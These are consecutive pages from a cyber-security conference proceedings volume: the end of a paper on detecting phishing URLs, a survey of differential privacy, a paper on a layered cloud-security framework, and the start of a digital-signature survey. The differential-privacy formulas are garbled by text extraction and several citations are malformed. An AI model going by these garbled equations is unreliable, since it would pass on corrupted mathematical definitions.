On 20th March 2015, a set of 32,951 phishing URLs were downloaded from
PhishTank. The datasets for non-phishing URLs are downloaded from Yahoo
Directory by using LinkKlipper from Chrome and DMOZ open directory.
Experiment Results: The feature extraction algorithm is implemented in Java and
the features of the URLs are stored in rows of a Sparse Matrix. A set of 15,000
training data (14,000 phishing URLs and 1000 non-phishing URLs) produced an
accuracy of 76.04%. A set of 25,000 training URLs (23,000 phishing URLs and
2000 non-phishing URLs) produced an accuracy of 91.28%. Phishing URL
detection using Naïve Bayes and SVM classifiers produced the results shown in
Table 1. From Table 1, it is found that when the size of the training set increases,
SVM performs better than Naïve Bayes classifier to detect phishing URL. Figure 2
shows the features contain by phishing URLs.
PHISH-SAFE: URL Features-Based Phishing Detection System … 473

5 Conclusion and Future Scope

This paper presented our proposed phishing detection system based on machine
learning. We have used 14 different features that distinguish phishing websites from
legitimate websites. Our experiment results show more than 90% accuracy in
detecting phishing websites using SVM classifier. In future, more features can be
added to improve the accuracy of the proposed phishing detection system.
Furthermore, other machine learning techniques can be used to increase the effi-
ciency of the proposed system.

References

1. Almomani A, Gupta BB, Atawneh S, Meulenberg A, Almomani E (2013) A survey of phishing

email filtering techniques. IEEE Commun Surv Tutor 15(4):2070–2090
2. Anti Phishing Work Group (2014) Phishing attacks trends report. http://docs.apwg.org/reports/
apwg_trends_report_q2_2014.pdf
3. Kumaraguru P, Rhee Y, Acquisti A, Cranor LF, Hong J, Nunge E (2007) Protecting people
from phishing: the design and evaluation of an embedded training email system. In: CHI 2007:
proceedings of the SIGCHI conference on human factors in computing systems, ACM, New
York, pp 905–914
4. Sheng S, Magnien B, Kumaraguru P, Acquisti A, Cranor LF, Hong J, Nunge E (2007)
Anti-phishing phil: the design and evaluation of a game that teaches people not to fall for phish.
In: SOUPS 2007: proceedings of the 3rd symposium on usable privacy and security, ACM,
New York, pp 88–99
5. Sheng S, Wardman B, Warner G, Cranor LF, Hong J, Zhang C (2009) An empirical analysis of
phishing blacklists. In: CEAS 2009
6. Almomani A, Gupta BB (2013) Phishing dynamic evolving neural fuzzy framework for online
detection zero-day phishing E-mail. IJST 6(1):122–126
7. Zhang Y, Hong JI, Cranor LF (2007) Cantina: a content-based approach to detecting phishing
web sites. In: Proceedings on WWW, ACM, New York, pp 639–648
8. Chen K-T, Huang C-R, Chen C-S (2010) Fighting phishing with discriminative key point
features. IEEE Internet Community
9. Phishing URLs Dataset available at: https://www.phishtank.com

Author Biographies

Ankit kumar Jain is presently working as Assistant Professor in National Institute of Technology,
Kurukshetra, India. He received Master of technology from Indian Institute of Information
Technology Allahabad (IIIT) India. Currently, he is pursuing PhD in cyber security from National
Institute of Technology, Kurukshetra. His general research interest is in the area of Information
and Cyber security, Phishing Website Detection, Web security, Mobile Security, Online Social
Network and Machine Learning. He has published many papers in reputed journals and
conferences.
474 A. K. Jain and B. B. Gupta

B. B. Gupta received Ph.D. degree from Indian Institute of Technology Roorkee, India in the area
of Information and Cyber Security. He published more than 100 research papers (including 02
books and 14 book chapters) in International Journals and Conferences of high repute including
IEEE, Elsevier, ACM, Springer, Wiley, Taylor & Francis, Inderscience, etc. His biography was
selected and published in the 30th Edition of Marquis Who’s Who in the World, 2012. Dr. Gupta
also received Young Faculty research fellowship award from Ministry of Electronics and
Information Technology, government of India in 2017. He is serving as associate editor of IEEE
Access and Executive editor of IJITCA, Inderscience, respectively. He is also serving as guest
editor of various reputed Journals. He was also visiting researcher with Yamaguchi University,
Japan in January 2015. At present, Dr. Gupta is working as Assistant Professor in the Department
of Computer Engineering, National Institute of Technology Kurukshetra India.
Semantic Security for Sharing
Computing Knowledge/Information

Mamta Narwaria and Sangheeta Mishra

Abstract Due to the wide deployment of Internet and information technology for
storage and processing of data, the ever-growing privacy concern is the major
obstacle for information sharing. In the present digital scenario, the information
security is of prime concern. With hundreds of terabytes or even Petabytes of data/
information floating over around, it is important to have the access to the private
sensitive data only to authorized users. The explosive increase in the amount of
data/information leads to the growth of data mining techniques, a significant
resource for information security. The data mining is the extrication of relevant
patterns/ knowledge of information from bulk of data. It provides the variety of
applicable techniques, in accordance with the different security issues aroused, to
achieve a desired level of privacy. This paper provides a wide survey of the
emerging issues in the security field and various privacy-preserving techniques
PPDM techniques that can be used to mitigate the increasing security risks and
threats. It also centers on analyzing the problem of computation on private infor-
mation developing new concepts and techniques to deal with emerging privacy
issues in various contexts security of information while sharing and exchange using
Differential Privacy. Finally presents the challenges and techniques for differential
privacy as a trusted path to achieve privacy and discuss some of the theoretical and
practical challenges for future work in this area.

Keywords Data mining
Privacy-preserving data mining
Information security

Differential privacy

M. Narwaria (&)
School of Computer Science & Engineering, Galgotias University, Greater Noida, India
e-mail: [email protected]
S. Mishra
Department of Computer Applications, BSSS, Bhopal, India
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 475

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_45
476 M. Narwaria and S. Mishra

1 Introduction

Data mining is to extract required data from high dimensional databases. The big
databases are introduced by data mining application that are spread over the
business applications, which helps in predicting future trends, analyzing the data to
implement proactive decisions. The widespread availability of digital data in the
age of information, data analysis which goals at efficient and accurate discovery of
pattern and securing the private data at the same time, is the crucial task to be
performed. Differential privacy is one of the important techniques for releasing
statistical data without compromising the individual’s privacy. It reveals the queries
output from database at maximum accuracy while minimizing the chances of
identifying the individual private data.

2 Literature Review and Related Work

Differential privacy has acknowledged much attention over some of the previously
used privacy algorithms, especially concentrates on the interactive setup for mini-
mizing the additive noise magnitude and checking the level of feasibility of dif-
ferentially private technique.
Barak et al. [1] discuss the technique which ensures that the non-negative
marginal count value and their sum are consistent for the problem of marginals of a
contingency table. Xiao et al. [1–38] and others address privelet, a wavelet
transformation-based approach for reducing the noise magnitude in the released
data to ensure differential privacy for multidimensional matrix. Hayes et al. [1–15]
specify a method one-dimensional dataset-based differentially private histograms.
Rastogi et al.{} design the mechanism for data perturbation which follows differ-
ential privacy. Machanavajjhala et al.{} proposed the technique for synthetic data
generation. {LAP 1}.
The concept of differential privacy is first given by Dwork et al. [22] which is
extended to the precise literature with McSherry. Micheal Schroeder coined the
term “differential privacy”. Dwork and Naor [24] then formulate the impossibility
of the semantic security. Composition and group privacy for(€,0)–differentially
private method is given by Dwork et al. [22]. Composition for(€,d) –differential
privacy was addressed by Dwork et al. [20] and then by Dwork and Lei [21].
Mironov proposed a mitigation against the vulnerability of the DP to inappropriate
implementation of real numbers.
Semantic Security for Sharing Computing Knowledge/Information 477

3 Differential Privacy

This is aimed at that there must be no difference in the response to the query
containing any particular individual or not. That is any adversary should unable to
frame or learn anything about the individual by querying the database. The two
ways for collecting and publishing data in the sanitized form are:
• Interactive
• Noninteractive
In the interactive approach, the data miner provides an interface to access the
dataset. The data miner queries the database holder using some private mechanism.
This is also referred as privacy-preserving distributed data mining (PPDDM).
In case of noninteractive setup, the data collector brings out an anonymized
version of data for analysis, which is collected as a result of applying sanitization
algorithm like permutation, subsampling and aggregation, identifier removal, etc. In
this approach, the horizontally partitioned data from different sources is securely
integrated without revealing the sensitive information. This approach gives more
flexibility than the former one.
Differential Privacy proposed by Dwork [19] is cryptographically motivated. It
ensures that the attacker cannot gain information about any data item in database by
simply querying the database. The approach imposes confidentiality by giving
perturbed query responses from database and provides a more robust privacy
guarantee. It is the framework which enables the analysis of privacy-sensitive
datasets and also ensures the privacy of individual-specific information. It is
flourishing as an area of research, including domains like computer security and
programming languages, statistics, databases, medical informatics, law, social sci-
ence. One of the research efforts is to reduce the error value that must be added to
query and analysis output keeping differential privacy. The other is to extend the
valuable existence of data for differentially private analyses.

3.1 €-Differential Privacy

It guarantees that considering probabilistic approach, any individual tuple has a

negligible effect on the released statistical response, considering two databases DA
DB differ in exactly one element. The response R of a given query on both the
database is indistinguishable using masking function M applied on the outcome of
query, satisfying the probability distribution PR [2, 39]:

PR ½MðDA Þ ¼ R
\ ¼ e€ ð1Þ
PR ½M ðDB Þ ¼ R
478 M. Narwaria and S. Mishra

where
PR is the probability of the perturbed query outcome of DA and DB,
M is the privacy granting function (Perturbation) on the query response from
database DA and DB,
R is the Perturbed query response from database DA and DB, and
e € is the exponential e epsilon value. € > 0, is public and specified by data
owner.
The technique provides a stronger privacy guarantee with the lower value of €.
Typically, the differential privacy is achieved by calibrating magnitude of noise to
the response of the query according to the sensitivity of the function. Where the
sensitivity is the maximum variation in the value due to addition or removal of a
single row.
Sensitivity:

Sðf Þ ¼ Maxwhere DA ; DB jjf ðDA Þ  f ðDB Þjj ð2Þ

For the given function f: D ! Rd Over an arbitrary domain D.

€-differential privacy can be achieved by the following methods.

3.1.1 Laplace Mechanism

For the given function f: D ! Rd Over an arbitrary domain D. Satisfies €-differ-

ential privacy by adding independently

M ðX Þ ¼ f ðX Þ þ laplaceðSðf Þ=€ÞÞd ð3Þ

where Laplace function is a random variable sampled from Laplace distribution.

3.1.2 Exponential Mechanism

Let q:(D  T ! R) Over an arbitrary domain D. Chooses an output t with prob-

ability proportional to the value exp(eu(D,t)/2Δq) satisfies €-differential privacy.
Mc sherry and Talwar [1–31] proposed the exponential mechanism that takes as
input a dataset D and output range T chooses t € T which is close to the optimum
value w.r.t utility function q which assigns a real-valued score to every output t. The
better utility is achieved by higher score. The exponential mechanism is applied
where we chose the “best” response but adding noise directly to the computed
quantity which completely destroys its value. While in the Laplace mechanism, we
estimated the counts and reported the noisy maximum.
Semantic Security for Sharing Computing Knowledge/Information 479

3.2 (€,d)—Differential Privacy

It is the non-strict variation of €-differential privacy technique in which very small

probabilistic values d equivalent privacy breaches are allowed. It can thus imple-
mented in the areas where €-differential privacy found impossible to enforce and
provides lower data utility. Dworks et al. [] extend the concept for the temporal
input set and recomputation of the outcome of the randomized algorithm based on
that temporal input.

4 Key Characteristics of Differential Privacy

Differential privacy provides protection from arbitrary risk. It also neutralizes the
linkage attacks automatically by including all the operations or information over
temporal dataset. Differential privacy technique has a measure of privacy loss and
also permits the analysis and its control incurred by groups. It compares a number
of techniques to find which technique provides better accuracy and privacy. The
behavioral properties of the differential privacy method under the composition
make it more complex than the other. Differential privacy is resistant to the
post-processing that is the analyst cannot computes the outcome of the function
from the differentially private algorithm and cannot increase the loss of privacy
without additional knowledge about the private database.

5 Research Methodology

See Table 1.

Table 1 Comparision of three privacy model in terms of data format and data size
K-anonymization De-identification Differential
privacy
Data format Structured Y N Y
Semi-structured N Y N
Un-structured N Y N
Data size Single record N Y N
required Dataset Y Y Y
Double dataset N N Y
480 M. Narwaria and S. Mishra

6 Conclusions

The study identifies the up-growing and promising areas of research where data
mining can be applied to accomplish protection of the information. The survey
literature also discusses the hottest trends and direction of research and relevance of
data mining in the safekeeping of information to improve the effectiveness of
privacy preserving/anonymization of data. The main aim of this study is to incor-
porate the recent DM techniques to remove the curbing in the privacy preservation
methodology. The adoption of data mining to secure the information which is the
vital resource is helpful to improve the performance in privacy preservation.

References

1. Barak B, Chaudhuri K, Dwork C, Kale S, McSherry F, Talwar K (2007) Privacy, accuracy

and consistency too: a holistic solution to contingency table release. In: PODS
2. Friedman A, Schuster A (2010) Data mining with differential privacy. In: KDD, pp 493–502
3. Beimel A, Kasiviswanathan SP, Nissim K (2010) Bounds on the sample complexity for
private learning and private data release. In: Theory of cryptography, Springer, Berlin,
pp 437–454.
4. Bhaskara A, Dadush D, Krishnaswamy R, Talwar K (2012) Unconditional differentially
private mechanisms for linear queries. In: Karloff HJ, Pitassi T (eds) Proceedings of the
symposium on theory of computing conference, symposium on theory of computing,
NewYork, USA, 19–22 May 2012, pp 1269–1284
5. Blum A, Dwork C, McSherry F, Nissim K (2005) Practical privacy: the SuLQ framework. In:
Li C (ed) Principles of database systems, ACM, pp 128–138
6. Blum A, Dwork C, McSherry F, Nissim K (2005) Practical privacy: the sulq framework. In:
Principles of database systems
7. Blum A, Ligett K, Roth A (2008) A learning theory approach to non-interactive database
privacy. In: Dwork C (ed) Symposium on theory of computing, Association for Computing
Machinery, pp 609–618
8. Blum A, Monsour Y (2007) Learning, regret minimization, and equilibria
9. Casti JL (1996) Five golden rules: great theories of 20th-century mathematics and why they
matter. Wiley, NY
10. Hubert Chan TH, Shi E, Song D (2010) Private and continual release of statistics. In:
Automata, languages and programming, Springer, Berlin, pp 405–417
11. Chaudhuri K, Hsu D (2011) Sample complexity bounds for differentially private learning. In:
Proceedings of the annual conference on learning theory (COLT2011)
12. Chaudhuri K, Monteleoni C, Sarwate AD (2011) Differentially private empirical risk
minimization. J Mach Learn Res JMLR 12:1069
13. Chaudhuri K, Sarwate A, Sinha K (2012) Near-optimal differentially private principal
components. Adv Neural Inf Process Syst 25:998–1006
14. Chen Y, Chong S, Kash IA, Moran T, Vadhan SP (2013) Truthful mechanisms for agents that
value privacy. In: Association for computing machinery conference on electronic commerce
15. Dandekar P, Fawaz N, Ioannidis S (2012) Privacy auctions for recommender systems. In:
Internet and network economics, Springer, Berlin, pp 309–322
16. De A (2012) Lowerbounds in differential privacy. In: Theory of cryptography conference,
pp 321–338
Semantic Security for Sharing Computing Knowledge/Information 481

17. Dinur I, Nissim K (2003) Revealing information while preserving privacy. In: Proceedings of
the association for computing machinery SIGACTSIGMOD-SIGART symposium on
principles of database systems, pp 202–210
18. Duchi JC, Jordan MI, Wainwright MJ (2013) Local privacy and statistical minimax rates.
arXiv preprint arXiv:1302.3203
19. Dwork C (2006) Differential privacy. In: Proceedings of the international colloquium on
automata, languages and programming (ICALP), vol 2, pp 1–12
20. Dwork C, Kenthapadi K, McSherry F, Mironov I, Naor M (2006) Our data, ourselves: privacy
via distributed noise generation. In: EUROCRYPT, pp 486–503
21. Dwork C, Lei J (2009) Differential privacy and robust statistics. In: Proceedings of the 2009
international association for computing machinery symposium on theory of computing (STOC)
22. Dwork C, McSherry F, Nissim K, Smith A (2006) Calibrating noise to sensitivity in private
data analysis. In: Theory of cryptography conference’06, pp 265–284
23. Dwork C, McSherry F, Talwar K (2007) The price of privacy and the limits of lp decoding.
In: Proceedings of the association for computing machinery symposium on theory of
computing, pp 85–94
24. Dwork C, Naor M (2010) On the difficulties of disclosure prevention in statistical databases or
the case for differential privacy. J Priv Confid 2(1):93–107
25. Dwork C, Naor M, Pitassi T, Rothblum GN (2010) Differential privacy under continual
observation. In: Proceedings of the association for computing machinery symposium on
theory of computing, Association for Computing Machinery, pp 715–724
26. Dwork C, Naor M, Pitassi T, Rothblum GN, Yekhanin S (2010) Pan-private streaming
algorithms. In: Proceedings of international conference on super computing
27. Dwork C, Naor M, Reingold O, Rothblum GN, Vadhan SP (2009) On the complexity of
differentially private data release: efficient algorithms and hardness results. In Symposium on
theory of computing ’09, pp 381–390
28. Dwork C, Naor M, Vadhan S (2012) The privacy of the analyst and the power of the state. In:
Foundations of computer science
29. Dwork C, Nikolov A, Talwar K (2014) Efficient algorithms for privately releasing marginals
via convex relaxations. In: Proceedings of the annual symposium on computational geometry
(SoCG)
30. Dwork C, Nissim K (2004) Privacy-preserving datamining on vertically partitioned databases.
In: Proceedings of cryptology 2004, vol 3152, pp 528–544
31. Dwork C, Rothblum GN, Vadhan SP (2010) Boostingand differential privacy. In:
Foundations of computer science, pp 51–60
32. Dwork C, Talwar K, Thakurta A, Zhang L (2014) Analyze gauss: optimal bounds for
privacy-preserving pca. In: Symposium on theory of computing
33. Fleischer L, Lyu Y-H (2012) Approximately optimal auctions for selling privacy when costs
are correlated with data. In: Association for computing machinery conference on electronic
commerce, pp 568–585
34. Ghosh A, Ligett K (2013) Privacy and coordination: computing on databases with
endogenous participation. In: Proceedings of the fourteenth ACM conference on electronic
commerce (EC), pp 543–560
35. Ghosh A, Roth A (2011) Selling privacy at auction. In: Association for computing machinery
conference on electronic commerce, pp 199–208
36. Groce A, Katz J, Yerukhimovich A (2011) Limits of computational differential privacy in the
client/server setting. In: Proceedings of the theory of cryptography conference
37. Gupta A, Hardt M, Roth A, Ullman J (2011) Privately releasing conjunctions and the
statistical query barrier. In: Symposium on theory of computing’11, pp 803–812
38. Gupta A, Roth A, Ullman J (2012) Iterative constructions and private data release. In: Theory
of cryptography conference, pp 339–356
39. Dwork C, Roth A (2014) the algorithmic foundations of differential privacy. Found Trends
Theor Comput Sci 9(3–4):211–407
Paradigmatic Approach to Cloud
Security: Challenges and Remedies

Rana Majumdar, Hina Gupta, Sakshi Goel and Abhishek Srivastava

Abstract Cloud computing is an amalgamation of resources over the Internet

which dynamically allocates capacity and resources without setting up a new
physical environment. Enterprises understand the convincing monetary and oper-
ational profits provided by cloud computing. Virtualization and usage of pooled IT
resources in the cloud environment, provided to the organizations, makes them
realize noteworthy cost savings and speeds up deployment of new applications. On
the contrary, the valuable benefits of business cannot ajar without comprehending
the challenges of data security. This work emphasis on the practices that can be
incorporated into the cloud environment to provide enhanced security. It highlights
a set of control-based technologies and protocols to provide regulatory consent and
protect information, infrastructure, and data applications associated with the use of
cloud. This work proposes a design which can be used to control the data,
authenticity, and security at all the levels to solve the problem of security in cloud
computing environment.

Keywords ENISA
CSA
DES
RCA
SAAS
PAAS

R. Majumdar (&)
H. Gupta
S. Goel
A. Srivastava

Amity School of Engineering & Technology, Amity University, Noida, India
e-mail: [email protected]
H. Gupta
e-mail: [email protected]
S. Goel
e-mail: [email protected]
A. Srivastava
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 483

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_46
484 R. Majumdar et al.

1 Introduction

The word cloud computing was once a catchphrase around the globe, but now it has
become a mainstream. Cloud offers a platform to the user to use the application,
save the data, and access it when needed. It can be defined as the separation of the
applications from the system. Although the cloud provides a lot of benefits such as
ease of usability, flexibility, and accessibility but the major challenges associated
with cloud is the issue of security. Security is a prime obligation for cloud to work
as a strong and viable solution [1]. A similar thought has been also shared by
researchers’ corporate people [2], government organization [3, 4] and academics
[5]. Virtualization helps cloud providers to take off the control from the client and
manage their data. The user although has a security from other user’s but the data is
completely under the control of the service provider whose authenticity cannot be
verified by the cloud users. This poses a great threat to the data which is of utmost
importance. This issue has impacted the model’s creditability and popularity. The
cloud providers have to deal with security that requires a lot of expenses and
resources. The cloud security can be attained by implementing the three main
aspects namely:
• Strong protection to data,
• Complete control over the data, and
• Investment control.
If the trio is achieved by any means, then the threat to the security in cloud can
be surpassed. The efforts of identifying the risks and vulnerabilities have been done
by ENISA (European Network and Information Security Agency) [3] and the Cloud
Security Alliance (CSA) [4]. The documents of the two organizations present a
surfeit of security issues, recommended solutions dealing with privacy of data to
infrastructural arrangement.

2 Review of Literature

In literature review, authors showed concerns about various cloud-related security

issues, on the basis of cloud’s architecture, service delivery, cloud characteristic,
and the role of cloud stakeholder. Mohamed et al. [6] analyzed the different tech-
niques of cryptography that were used earlier to secure data in the cloud. Their
study showed that the AES algorithm was the fastest and secure algorithm used for
securing cloud data amongst other algorithms like DES, 3DES, two-fish, blowfish,
RC-4, and RC-6.
Mohamed et al. [7] emphasized on the security vulnerabilities and threats that
are open and most significant issues in cloud computing. The author has illustrated
the relationship between the vulnerabilities and threats. They have also presented
Paradigmatic Approach to Cloud Security: Challenges and Remedies 485

the methods to deal with the vulnerabilities and threats related to cloud computing.
The various countermeasures discussed in the paper are of utmost importance.
Mahalle and Shahade [8] have highlighted that using a combination of two
algorithms AES and RSA, two different files can be shared securely from data
transmission point of view.
Ficco et al. [9] in their work highlighted the effect of intrusion detection attack
on cloud environment and also explained the method for its prevention. The paper
focused on dynamic structure of the cloud. The model proposed here uses col-
laborative intrusion detection and prevention technique which basically works on
distributed cloud where the attacks are detected externally as well as internally.
It is quite evident that previous researches only focused on individual aspects of
cloud computing environment form security point but none of them used collab-
orative approach which is essential and works for infrastructure layer of cloud
(IaaS). In this paper, authors reveal the importance of collaboration rather than
tackling individual security issues at a time.

3 Problem Conceptualization

In cloud environment, as cloud provides services based on users requirements, so it

is quite obvious that users have no control over their data. In this computing
environment, private data is completely under the control of the service provider
whose authenticity cannot be verified by the cloud users. This poses a great threat to
the user’s data which is of utmost importance. This issue has impacted the model’s
creditability and popularity. The cloud providers have to deal with security that
requires a proper trusted strategy and pool of resources. This paper emphasized on
the following features for attainment of cloud security, they are namely
• Robust data security,
• Thorough control over the data, and
• Proper control mechanism.

3.1 Methodology

As a result of the increasing interest in cloud computing, there is an enhanced effort

to evaluate the prevailing trends and technology dealing with the problem and
providing solutions [10]. In the above section, authors recommended cloud security
implementation mechanism by implementation of policies for a complete security
solution. The solution for providing security in cloud computing environment
should deal with aspects mentioned in Table 1.
486 R. Majumdar et al.

Table 1 Security aspects 1 Security of network Agreement and legal issues

2 Interface
3 Security of data
4 Virtualization
5 Control

3.1.1 Cloud Security

Researchers showed various mechanism and techniques to handle security issues in

cloud environment but unfortunately, they are not sufficient because of their indi-
vidual efforts and lack of collaborative and central policies. So definitely, security
solution is not proposed by their work as discussed in the previous section. This
work categorizes the solution for providing security by identifying factors using
historical data and case studies from various aspects; they are summarized as
follows:
• Security of network,
• Interface,
• Security of data,
• Virtualization,
• Control, and
• Agreement and legal issues.
While identifying factors, the following questioners were prepared to combat
cloud-related concerns:
1. Is the data secured on cloud?
2. Is the confidentiality of data maintained?
3. Are the security measures in compliance with government organizations?
4. What will happen if the attacker brings down the application hosted on cloud?
The information security is based on CAI triad as shown in Fig. 1.

Fig. 1 Information security

Confidentiality

Availability Integrity
Paradigmatic Approach to Cloud Security: Challenges and Remedies 487

Data breach

Data loss

Account hijacking
Threats
Insufficient due diligence

Insecure API’s

Shared technology issue

Malicious insiders

Denial of service

Abuse of cloud services

Fig. 2 Threats associated with cloud

The cloud security thus focuses on multi-tenancy, velocity of attack, information

assurance, data privacy, and ownership. The various threats related to the cloud are
(Fig. 2).
The security measures should deal with the following three features: privacy,
agreement, and architecture.

4 Proposed Work

For achieving greater security the following observations helps to achieve that to a
great extent. The security should be managed from outside to inside. Here authors
investigate security issues from both service providers and users point of view and
suggested a concentric circular approach as a security factor (Fig. 3).
Figure 3 states that the security of data on cloud depends on the features pro-
vided by the cloud provider. At the first level, the architecture of cloud should be
considered that encompasses security of the network, virtualization, and interfaces.
The second aspect to be considered is related to the agreement between the cloud
user and cloud service provider. It encompasses the services provided to the user
and services to be provided by the provider. The third level to be considered is
related to privacy of data. This is considered to be the most crucial layer from user’s
488 R. Majumdar et al.

Fig. 3 Concentric circular Data

approach
Privacy

Agreement

Architecture

perspective as agreement shows concern about agreed policies and regulations. It

encompasses the data security and legal issues associated with the same. Finally,
the innermost circle contains user’s private, confidential data.

4.1 Architecture

The outermost circle named architecture should deal with security of network,
interfaces used, and virtualization. So the basic responsibility of this layer is to
group security, interface, and virtualization. The major issue concerning network
communication is the infrastructure of cloud. The solution provided should extend
customer’s present network structure [11]. It should utilize the existing local
security measures of the customer and enhance them to the network of cloud [12].
Following considerations should be made regarding architecture
• Security of data in transit: The channel used for transmitting the data should be
protected against spoofing, man-in-middle attack, sniffing, etc.
• Use of Firewall: As the firewalls are used at a small scale to provide security, it
should be extended to prevent denial of service attacks, and detect peripheral
security evaluation procedure.
• Security agreement: The protocols and technologies used at various levels in
cloud should be configured properly without hampering the privacy of data and
performance.
The proposed solution should also deal with issues related to the customer
interface, service provider interface, and the cloud interface.
Paradigmatic Approach to Cloud Security: Challenges and Remedies 489

4.2 Agreement

It deals with the norms and the requirements to provide service and availability of
data. It also deals with the kind of services provided and audit to be done by
customer, third party, and service providers regarding the cloud.

4.3 Privacy

It deals with security of data and the legal issues associated with it. The security of
data is provided by the technique of cryptography is used to encrypt the data [13].
A check should also be kept on data redundancy to ensure integrity and availability
of data. Legal issues include the location at which the data of the user reside, the
management of how the hardware is shared, and the privileges that are provided to
the user. The following diagram illustrates the proposed remedies in detail with
stepwise explanation.
Step 1:
Complete data about the client should be collected and what data he is willing to
store on cloud.
Step 2: Architecture
1. The data should be collected regarding which deployment or delivery model he
is willing to use.
2. On which server is the client hosting the application (on his own private server
or a third party server).
3. A check should be made by cloud provider for the server on which the data
needs to be stored.
4. Good authorization technique must be used.
5. A boundary for each user’s data should be designed and checked against
intrusion of data by unauthorized user.
6. The firewall should be checked to prevent DoS attack and evaluate peripheral
security
Step 3: Agreement
Safe and good techniques must be used for identity management.
Some security measures should be designed for virtualization manager.
An audit should be done by service provider, customer, and third party.
490 R. Majumdar et al.

Step 4: Privacy
Data should be encrypted while being stored.
Data that is flowing over the network should also be encrypted using network traffic
encryption technique such as secure socket layer and transport layer security.
When the data is being stored, it should be replicated for backup.
A proper strategy should be planned for business continuity and disaster recovery.
Data transactions should be safe and data integrity should be maintained.
Routing of data should be monitored.

5 Comparison of the Proposed Approach to the Existing

Approach

The framework that has been proposed in our work provides a trade-off to the
existing approaches. The proposed work consists of the layered structure or shell
structure. The security check is levied on all the layers which apprehend the security
of the cloud architecture. Since the check is done layer after layer and no direct
access to the innermost layer, the vulnerability associated with the cloud security is
reduced to a great extent. The main objective of the security mechanism is to
provide ample measures to protect the stored data, data in transit, modified
encryption techniques are all enforced in our work. All the new features that have
been incorporated and realized in this work make it more secured measure as
compared to the existing approaches. As data is the king, so handling sensitive or
business-critical facts outside the organization will certainly lead risk because any
subcontracted service evades an organization’s in-house security panels easily. This
work investigates security in terms of risk and with cloud; one possible approach
will be to have a compatible control with preestablished dedicated service with
service providers. Organizations should try to learn about provider’s position for
greater control so that, it may not know exactly where its data resides or have any
ability to influence changes to the location of data. Most providers store data in a
shared environment, introduces security risk. No one security method will solve all
these data protection problems so it is important to consider multiple layers of
defense.
When adopting cloud services, among other critical factors we work on the
basics of where my data is, and how to handle new security threats?
Nowadays, security is no longer a source of worry. It has simply become another
reflection of hazard controlling policies and procedures.
Paradigmatic Approach to Cloud Security: Challenges and Remedies 491

6 Conclusion

Security is an essential facet for providing a trustworthy infrastructure where a user

or a business process can move its data to cloud and use it as and when required.
The diagrammatic representation provided in this work has a holistic security flow
which needs to be followed by the organizations. This work illustrates a framework
through concentric circles and demonstrated the concept through pictorial repre-
sentation using tabular form. In future, authors will definitely provide mathematical
illustration through case studies.

References

1. IDC (2009) An IDC. Update.slideshare.net/JorFigOr/cloud-computing-2010-an-idc-update

2. HP’s (2009) Hurd dings cloud computing, IBM, CNET news
3. Catteddu D, Hogben G (2009) Technical report. European network and information security
agency, benefits, risks and recommendations for information security, Enisa
4. Security Guidance for Critical Areas of Focus in Cloud Computing (2009) Technical report,
Cloud Security Alliance
5. Rimal BP, Choi E, Lumb I (2009) A taxonomy and, survey of cloud computing systems. In:
Fifth international joint conference on INC, IMS and IDC, NCM
6. Mohamed EM, Abdelkader HS, EI-Etriby S (2012) Enhanced data security model for cloud
computing. In: 8th international conference on INFOrmatics and Systems (INFOS2012)
7. Mohamed EM, Abdelkader HS, EI-Etriby S (2011) A quantitative analysis of current security
concerns and solutions for cloud computing
8. Mahalle VS, Shahade AK (2014) Power, automation and communication (INPAC):
enhancing the data security in cloud by implementing hybrid encryption algorithm
(Rsa&Aes). In: 2014 international conference on encryption algorithm
9. Ficco M, Tasquier L, Aversa R (2013) Security issues in cloud computing. In: Eighth
international conference on P2P, parallel, grid, cloud and internet
10. Ibrahim AS, Hamlyn-Harris J, Grundy J (2010) Emerging security challenges of cloud virtual
infrastructure. In: Proceedings of APSEC 2010, cloud workshop, Sydney, Australia
11. Tompkins D (2009) Security for cloud-based enterprise applications
12. Jensen M, Schwenk J, Gruschka N, Iacono LL (2009) Technical security issues in cloud
computing. In: IEEE international conference on cloud computing
13. Muttik I, Barton C (2009) Cloud security technologies. Elsevier, Amsterdam
492 R. Majumdar et al.

Author Biography

Rana Majumdar completed his M.Tech in 2009 in CSE from

Amity University. He has been working as Assistant Professor in
the Department of Information Technology, ASET, Amity
University Noida from 2009 till date.
The Digital Signature Schemes Based
on Two Hard Problems: Factorization
and Discrete Logarithm

A. B. Nimbalkar

Abstract This paper gives the survey of digital signatures, which are based on two
hard problems: (1) factorization (FAC) and (2) discrete logarithms (DL). In 1994,
L. Harn developed digital signature which is based on this two hard problems.
Z. Shao showed the drawback of L. Harn’s scheme and proposed his new scheme.
There are various schemes which are based on these two hard problems, because
attacker cannot solve both the problems simultaneously.

Keywords Factorization
Discrete logarithm
Cryptography
Digital signature

1 Introduction

Cryptography is used to implement confidentiality, data integrity, authentication of

entity and data origin. Information exchange over a network is said to consist
mainly of two technical processes, namely, encryption and decryption of the
message. The encryption is used to encode the message which is essentially con-
version of plain text into cipher text and the decryption is the reverse process of
encryption.
There are techniques based on symmetric key cryptosystems such as DES, AES,
and Blowfish. In the symmetric key cryptosystem, same key is used for both
encryption and decryption. There was some problem with symmetric key like secret
key transportation. A secret key cannot be transmitted over the insecure channel.
This problem is solved by public key cryptosystem, i.e., asymmetric cryptosystem.
It uses two different keys; the key used for encryption is kept public the so-called
public key. The key used for decryption is kept secret and called as private key. In
1976, Diffie and Hellman [1] invented the first public key cryptography scheme.
The practical implementation of this scheme was done by Rivest, Shamir, and
Adleman (RSA) in 1978 [2]. Based on the Diffie–Hellman method of computing

A. B. Nimbalkar (&)
A.M. College, Pune, Maharashtra, India
e-mail: [email protected]

© Springer Nature Singapore Pte Ltd. 2018 493

M. U. Bokhari et al. (eds.), Cyber Security, Advances in Intelligent Systems
and Computing 729, https://doi.org/10.1007/978-981-10-8536-9_47
494 A. B. Nimbalkar

DL, ElGamal [3] invented new signature in 1985, which is used for message
confidentiality and digital signature schemes In 1985 elliptic curve cryptography
was invented which uses points of elliptic curve as group.
As asymmetric cryptosystem solve the repudiation problem, it is used to design
the digital signature schemes. A digital signature is a mathematical scheme for
validating the authenticity of a digital document. The digital signature has three
